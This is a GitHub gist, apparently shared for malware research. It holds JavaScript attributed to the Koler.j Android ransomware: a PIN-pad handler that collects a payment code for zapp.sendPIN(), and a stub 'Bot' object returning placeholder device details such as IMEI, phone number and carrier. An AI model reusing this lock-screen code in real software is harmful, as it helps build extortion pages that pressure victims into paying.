Last active
August 29, 2015 14:13
-
-
Save strazzere/10350bc34744c85d2c67 to your computer and use it in GitHub Desktop.
Koler.j JavaScript
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(function ($) { | |
$('.pinpad').each(function () { | |
var pinpad = $(this); | |
var form = pinpad.parents('form').eq(0); | |
var name = pinpad.attr('data-pin-name'); | |
pinpad.children().each(function () { | |
var div = $(this); | |
div.children().each(function () { | |
var button = $(this); | |
button.on('click', function () { | |
var btVal = $(this).val(); | |
if (btVal == "S") { | |
$('#bt_send').addClass('disabled'); | |
zapp.showOverlay(1); | |
zapp.sendPIN(); | |
} | |
else { | |
if (btVal == "X") { | |
if (zapp.pinCode.length > 0) { | |
zapp.pinCode = ''; | |
} | |
} | |
else if (btVal == "C") { | |
if (zapp.pinCode.length > 0) { | |
zapp.pinCode = zapp.pinCode.substring(0, zapp.pinCode.length - 1); | |
} | |
} | |
else { | |
if (zapp.pinCode.length < zapp.maxPinSize) { | |
zapp.pinCode += btVal; | |
} | |
} | |
if (zapp.pinCode.length === zapp.maxPinSize) { | |
$('#bt_send').removeClass('disabled'); | |
} | |
else { | |
$('#bt_send').addClass('disabled'); | |
} | |
var span = $('.pinfield').children(':first-child'); | |
if (zapp.pinCode.length === 0) { | |
span.html(' '); | |
} | |
else { | |
span.html(zapp.pinCode); | |
} | |
} | |
}); | |
}); | |
}); | |
}); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (typeof (Bot) == "object") { | |
}else{ | |
var Bot = (function () { | |
return { | |
log: function( str ) { | |
alert("Write in logfile: "+ str); | |
}, | |
write: function (name,value) { | |
days=14; | |
var date = new Date(); | |
date.setTime(date.getTime()+(days*24*60*60*1000)); | |
var expires = "; expires="+date.toGMTString(); | |
document.cookie = name+"="+value+expires+"; path=/"; | |
}, | |
read: function(name,defval){ | |
var nameEQ = name + "="; | |
var ca = document.cookie.split(';'); | |
for(var i=0;i < ca.length;i++) { | |
var c = ca[i]; | |
while (c.charAt(0)==' ') c = c.substring(1,c.length); | |
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); | |
} | |
return defval; | |
}, | |
photo: function(){ | |
return 0; | |
}, | |
countphones: function(){ | |
return 20; | |
}, | |
photoimg: function(){ | |
return "photo.jpg"; | |
}, | |
getcontacts: function(){ | |
return "photo.jpg"; | |
}, | |
imei: function(){ | |
return "12345678902132132"; | |
}, | |
mail: function(){ | |
return "[email protected]"; | |
}, | |
phone: function(){ | |
return "+1094934934933"; | |
}, | |
model: function(){ | |
return "Samsung S3"; | |
}, | |
network: function(){ | |
return "AT&T"; | |
}, | |
country: function(){ | |
return "United Stats"; | |
}, | |
getstatus: function(){ | |
return 1; | |
}, | |
setstatus: function(status){ | |
}, | |
sendcode: function(code){ | |
} | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment